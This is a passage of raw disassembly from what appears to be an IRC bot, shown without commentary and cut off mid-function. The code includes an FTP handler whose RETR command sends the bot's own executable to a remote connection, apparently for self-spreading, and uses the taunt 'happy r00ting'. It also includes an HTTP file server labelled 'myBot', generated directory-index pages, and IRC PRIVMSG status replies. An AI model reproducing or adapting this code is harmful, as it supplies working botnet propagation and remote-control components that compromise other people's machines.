movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_417AB0 pop ecx push eax lea eax, [ebp+var_124] loc_4057A9: ; CODE XREF: sub_4053D5+423j push eax push [ebp+arg_0] call ebx ; send xor esi, esi loc_4057B1: ; CODE XREF: sub_4053D5+4F6j mov edi, [ebp+arg_0] jmp loc_4059AD ; --------------------------------------------------------------------------- loc_4057B9: ; CODE XREF: sub_4053D5+3ABj lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4057FA push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_417AB0 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_4057A9 ; --------------------------------------------------------------------------- loc_4057FA: ; CODE XREF: sub_4053D5+3F9j lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4058D0 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_418A52 lea eax, [ebp+var_F8] push eax call sub_41781F mov edi, eax lea eax, [ebp+var_2D0] push eax call sub_41781F mov [ebp+var_8], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_417330 add esp, 34h lea eax, [ebp+var_F8] push [ebp+var_8] push edi push offset aXX ; "%x%x\n" push eax call sub_4172B0 push 10h lea eax, [ebp+var_F8] push esi push eax call sub_418A3B add esp, 1Ch mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_4172B0 add esp, 18h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; send jmp loc_4057B1 ; --------------------------------------------------------------------------- loc_4058D0: ; CODE XREF: sub_4053D5+43Aj lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40598B push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_4059DB pop ecx cmp eax, 1 pop ecx jnz short loc_405981 call sub_405A58 cmp eax, 1 jnz loc_4059AD push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push dword_43C83C push eax lea eax, [ebp+var_8DC] push offset unk_42A128 push eax call sub_4172B0 add esp, 14h cmp [ebp+var_440], esi jnz short loc_405972 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_40D679 add esp, 14h loc_405972: ; CODE XREF: sub_4053D5+578j lea eax, [ebp+var_8DC] push eax call sub_40BF6D pop ecx jmp short loc_4059AD ; --------------------------------------------------------------------------- loc_405981: ; CODE XREF: sub_4053D5+532j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4059AA ; --------------------------------------------------------------------------- loc_40598B: ; CODE XREF: sub_4053D5+510j lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4059AD push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4059AA: ; CODE XREF: sub_4053D5+28Bj ; sub_4053D5+2AFj ... push edi call ebx ; send loc_4059AD: ; CODE XREF: sub_4053D5+3DFj ; sub_4053D5+53Cj ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417330 add esp, 0Ch loc_4059BF: ; CODE XREF: sub_4053D5+1E0j ; sub_4053D5+247j inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_405503 jmp loc_4054C8 ; --------------------------------------------------------------------------- loc_4059D1: ; CODE XREF: sub_4053D5+11Ej push 1 pop eax loc_4059D4: ; CODE XREF: sub_4053D5+D0j pop edi pop esi pop ebx leave retn 4 sub_4053D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059DB proc near ; CODE XREF: sub_4053D5+528p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h loc_4059E4: ; DATA XREF: Themida_:004F0008o lea eax, [ebp+var_1A0] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 nop call near ptr 71AB3C22h push [ebp+arg_0] mov dword_43C838, eax mov [ebp+var_10], 2 call near ptr 71AB12F8h nop push [ebp+arg_4] mov [ebp+var_C], eax call near ptr 71AB1746h nop mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_43C838 call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jnz short loc_405A53 push dword_43C838 nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_405A53: ; CODE XREF: sub_4059DB+60j push 1 pop eax leave retn sub_4059DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A58 proc near ; CODE XREF: sub_4053D5+534p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call near ptr 2640000h nop lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_4179A8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_405AEF test byte ptr [esi+0Ch], 10h jnz short loc_405AD3 push edi mov edi, 400h loc_405A9B: ; CODE XREF: sub_405A58+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_418A86 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_43C838 call near ptr 71AB1AF4h nop push 1 nop call near ptr 25F0439h test byte ptr [esi+0Ch], 10h jz short loc_405A9B pop edi loc_405AD3: ; CODE XREF: sub_405A58+3Bj push esi call sub_417900 pop ecx push dword_43C838 nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop push 1 pop eax loc_405AEF: ; CODE XREF: sub_405A58+35j pop esi leave retn sub_405A58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405AF2 proc near ; DATA XREF: sub_407252+333o ; sub_40EE72+54E8o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_417330 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_43F668 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_405EDD mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_4450CC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_43F694 cmp eax, 0FFFFFFFFh jz loc_405EDD push 7FFFFFFFh push edi call dword_43F690 cmp eax, 0FFFFFFFFh jz loc_405EDD lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_43F704 cmp eax, 0FFFFFFFFh jz loc_405EDD mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_405BC9: ; CODE XREF: sub_405AF2+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_43F650 cmp eax, 0FFFFFFFFh jz loc_405ED8 xor esi, esi mov [ebp+var_4], esi loc_405BFF: ; CODE XREF: sub_405AF2+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_43F560 test eax, eax jz loc_405EC3 cmp esi, [ebp+var_C] jnz short loc_405C81 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_43F6FC cmp eax, 0FFFFFFFFh jz loc_405EC3 xor ecx, ecx test ebx, ebx jbe short loc_405C53 lea edx, [ebp+var_134] loc_405C47: ; CODE XREF: sub_405AF2+15Fj cmp [edx], eax jz short loc_405C53 inc ecx add edx, 4 cmp ecx, ebx jb short loc_405C47 loc_405C53: ; CODE XREF: sub_405AF2+14Dj ; sub_405AF2+157j cmp ecx, ebx jnz short loc_405C70 cmp ebx, 40h jnb short loc_405C70 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_405C70: ; CODE XREF: sub_405AF2+163j ; sub_405AF2+168j cmp eax, [ebp+var_8] jbe loc_405EC3 mov [ebp+var_8], eax jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405C81: ; CODE XREF: sub_405AF2+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_417330 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417330 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_43F680 test eax, eax jg short loc_405D14 push esi call dword_43F700 xor ecx, ecx test ebx, ebx jbe loc_405EC3 lea eax, [ebp+var_134] loc_405CD3: ; CODE XREF: sub_405AF2+1EBj cmp [eax], esi jz short loc_405CE4 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405CD3 jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405CE4: ; CODE XREF: sub_405AF2+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405D08 lea eax, [ebp+ecx*4+var_134] loc_405CF2: ; CODE XREF: sub_405AF2+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405CF2 loc_405D08: ; CODE XREF: sub_405AF2+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405D14: ; CODE XREF: sub_405AF2+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_417330 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_417AB0 add esp, 10h test eax, eax jbe loc_405EC3 loc_405D42: ; CODE XREF: sub_405AF2+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_405DE7 mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_405DBB lea eax, [ebp+var_18F0] push eax call sub_417AB0 cmp eax, 5 pop ecx jbe short loc_405DBB mov eax, offset asc_42A3B4 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_417880 pop ecx pop ecx push eax call sub_417880 pop ecx pop ecx push eax call sub_418B6E push eax lea eax, [ebp+var_23C] push eax call sub_4179C0 add esp, 10h jmp short loc_405DD2 ; --------------------------------------------------------------------------- loc_405DBB: ; CODE XREF: sub_405AF2+27Fj ; sub_405AF2+291j lea eax, [ebp+var_18F0] push offset asc_42A3B0 ; "\r\n" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_405E06 loc_405DD2: ; CODE XREF: sub_405AF2+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417330 add esp, 0Ch or esi, 0FFFFFFFFh loc_405DE7: ; CODE XREF: sub_405AF2+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_417AB0 cmp [ebp+arg_0], eax pop ecx jb loc_405D42 jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405E06: ; CODE XREF: sub_405AF2+2DEj xor ecx, ecx test ebx, ebx jbe short loc_405E50 lea eax, [ebp+var_134] loc_405E12: ; CODE XREF: sub_405AF2+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_405E23 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405E12 jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E23: ; CODE XREF: sub_405AF2+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405E47 lea eax, [ebp+ecx*4+var_134] loc_405E31: ; CODE XREF: sub_405AF2+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405E31 loc_405E47: ; CODE XREF: sub_405AF2+336j dec ebx mov [ebp+var_138], ebx jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E50: ; CODE XREF: sub_405AF2+318j mov esi, [ebp+var_4] loc_405E53: ; CODE XREF: sub_405AF2+32Fj ; sub_405AF2+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_405EBC lea eax, [ebp+var_360] push eax call sub_417AB0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_417AB0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_405EBC and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_43F704 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4060D0 add esp, 14h jmp short loc_405EC3 ; --------------------------------------------------------------------------- loc_405EBC: ; CODE XREF: sub_405AF2+369j ; sub_405AF2+38Fj push esi call dword_43F700 loc_405EC3: ; CODE XREF: sub_405AF2+11Dj ; sub_405AF2+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_405BFF jmp loc_405BC9 ; --------------------------------------------------------------------------- loc_405ED8: ; CODE XREF: sub_405AF2+102j mov edi, [ebp+var_C] xor ebx, ebx loc_405EDD: ; CODE XREF: sub_405AF2+6Aj ; sub_405AF2+92j ... call dword_43F5FC push eax lea eax, [ebp+var_8F0] push offset unk_42A36C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_405F23 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_40D679 add esp, 14h loc_405F23: ; CODE XREF: sub_405AF2+40Cj lea eax, [ebp+var_8F0] push eax call sub_40BF6D pop ecx push edi call dword_43F700 push [ebp+var_254] call sub_417078 pop ecx push ebx nop call near ptr 25E02EAh pop edi pop esi pop ebx sub_405AF2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F4D proc near ; DATA XREF: sub_4060D0+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_417B30 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_405FB3 push offset aTextHtml ; "text/html" jmp short loc_405FB8 ; --------------------------------------------------------------------------- loc_405FB3: ; CODE XREF: sub_405F4D+5Dj push offset aApplicationOct ; "application/octet-stream" loc_405FB8: ; CODE XREF: sub_405F4D+64j lea eax, [ebp+var_9C] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2660000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 2650000h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_406031 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4172B0 add esp, 24h jmp short loc_406052 ; --------------------------------------------------------------------------- loc_406031: ; CODE XREF: sub_405F4D+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4172B0 add esp, 28h loc_406052: ; CODE XREF: sub_405F4D+E2j lea eax, [ebp+var_1654] push edi push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_43F6B8 cmp [ebp+var_A4], edi jnz short loc_406092 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_406A0D pop ecx pop ecx jmp short loc_4060AF ; --------------------------------------------------------------------------- loc_406092: ; CODE XREF: sub_405F4D+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_406387 add esp, 10h loc_4060AF: ; CODE XREF: sub_405F4D+143j push [ebp+var_44C] call dword_43F700 push [ebp+var_B4] call sub_417078 pop ecx push edi call near ptr 25E02EAh nop pop edi pop esi sub_405F4D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4060D0 proc near ; CODE XREF: sub_405AF2+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_417330 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_406106 push eax push offset aS_2 ; "\\%s" jmp short loc_40610F ; --------------------------------------------------------------------------- loc_406106: ; CODE XREF: sub_4060D0+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40610F: ; CODE XREF: sub_4060D0+34j lea eax, [ebp+var_10C] push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_417AB0 test eax, eax pop ecx jbe short loc_4061AA mov [ebp+arg_8], 2 loc_40613A: ; CODE XREF: sub_4060D0+D8j lea eax, [ebp+var_10C] push eax call sub_417AB0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40617A cmp [ebp+esi+var_10C], 25h jnz short loc_40617A cmp [ebp+esi+var_10B], 32h jnz short loc_40617A cmp [ebp+esi+var_10A], 30h jnz short loc_40617A inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_406194 ; --------------------------------------------------------------------------- loc_40617A: ; CODE XREF: sub_4060D0+7Aj ; sub_4060D0+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40618A push 5Ch pop eax jmp short loc_40618D ; --------------------------------------------------------------------------- loc_40618A: ; CODE XREF: sub_4060D0+B3j movsx eax, al loc_40618D: ; CODE XREF: sub_4060D0+B8j mov [ebp+ebx+var_210], al loc_406194: ; CODE XREF: sub_4060D0+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_417AB0 cmp esi, eax pop ecx jb short loc_40613A loc_4061AA: ; CODE XREF: sub_4060D0+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_4172B0 lea eax, [ebp+var_314] push offset asc_42A660 ; "\n" push eax call sub_418B6E add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 267029Bh push 1 cmp eax, 10h pop esi jz short loc_4061FB cmp eax, 0FFFFFFFFh jnz short loc_4061FE push [ebp+arg_0] jmp loc_40627E ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_4060D0+11Cj mov [ebp+var_4], esi loc_4061FE: ; CODE XREF: sub_4060D0+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40620B mov [ebp+var_4], esi loc_40620B: ; CODE XREF: sub_4060D0+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_406289 cmp [ebp+arg_C], edi jz short loc_40627D lea eax, [ebp+var_314] push offset asc_42A65C ; "*" push eax call sub_4179D0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_4172B0 lea eax, [ebp+var_210] push eax call sub_406ACA add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_4172B0 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_4062D8 ; --------------------------------------------------------------------------- loc_40627D: ; CODE XREF: sub_4060D0+152j push ebx loc_40627E: ; CODE XREF: sub_4060D0+126j call dword_43F700 jmp loc_406380 ; --------------------------------------------------------------------------- loc_406289: ; CODE XREF: sub_4060D0+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 2630000h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4062D8 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_4172B0 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2670000h push esi mov [ebp+var_330], eax nop call near ptr 2611A31h loc_4062D8: ; CODE XREF: sub_4060D0+1ABj ; sub_4060D0+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_42A61C push eax call sub_4172B0 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_416D5C mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_4450C4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_405F4D push edi push edi call near ptr 2660D4Bh nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_4450D4[ecx], eax jz short loc_406352 loc_406340: ; CODE XREF: sub_4060D0+280j cmp [ebp+var_318], edi jnz short loc_406380 push 5 nop call near ptr 25F0439h jmp short loc_406340 ; --------------------------------------------------------------------------- loc_406352: ; CODE XREF: sub_4060D0+26Ej push ebx call dword_43F700 nop call near ptr 2630313h push eax lea eax, [ebp+var_8C4] push offset unk_42A5D4 push eax call sub_4172B0 lea eax, [ebp+var_8C4] push eax call sub_40BF6D add esp, 10h loc_406380: ; CODE XREF: sub_4060D0+1B4j ; sub_4060D0+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_4060D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406387 proc near ; CODE XREF: sub_405F4D+15Ap ; sub_40EE72+49CBp var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_417330 mov edi, [ebp+arg_0] push offset asc_42A660 ; "\n" push edi call sub_418B6E add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4063E6 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41782A add esp, 14h jmp loc_4064E5 ; --------------------------------------------------------------------------- loc_4063E6: ; CODE XREF: sub_406387+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4064CB call sub_417AB0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 push edi call sub_417AB0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 0Ch jmp short loc_4064E5 ; --------------------------------------------------------------------------- loc_4064CB: ; CODE XREF: sub_406387+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h loc_4064E5: ; CODE XREF: sub_406387+5Aj ; sub_406387+142j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 cmp [ebp+arg_C], ebx jz short loc_406580 push [ebp+arg_C] call sub_417AB0 cmp eax, 2 pop ecx jbe short loc_406580 push [ebp+arg_C] call sub_417AB0 sub eax, 3 pop ecx jz short loc_406531 loc_406525: ; CODE XREF: sub_406387+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_406531 dec eax jnz short loc_406525 loc_406531: ; CODE XREF: sub_406387+19Cj ; sub_406387+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_418C10 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43F6B8 loc_406580: ; CODE XREF: sub_406387+180j ; sub_406387+18Ej lea eax, [ebp+var_388] push eax push edi call near ptr 26A0000h nop lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 2690000h test eax, eax jz loc_406970 mov edi, 1FFh loc_4065AC: ; CODE XREF: sub_406387+5E3j cmp [ebp+var_388], ebx jz loc_406958 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_406958 lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_406958 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2680631h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 2680000h nop mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_406621 mov ecx, offset aAm ; "AM" loc_406621: ; CODE 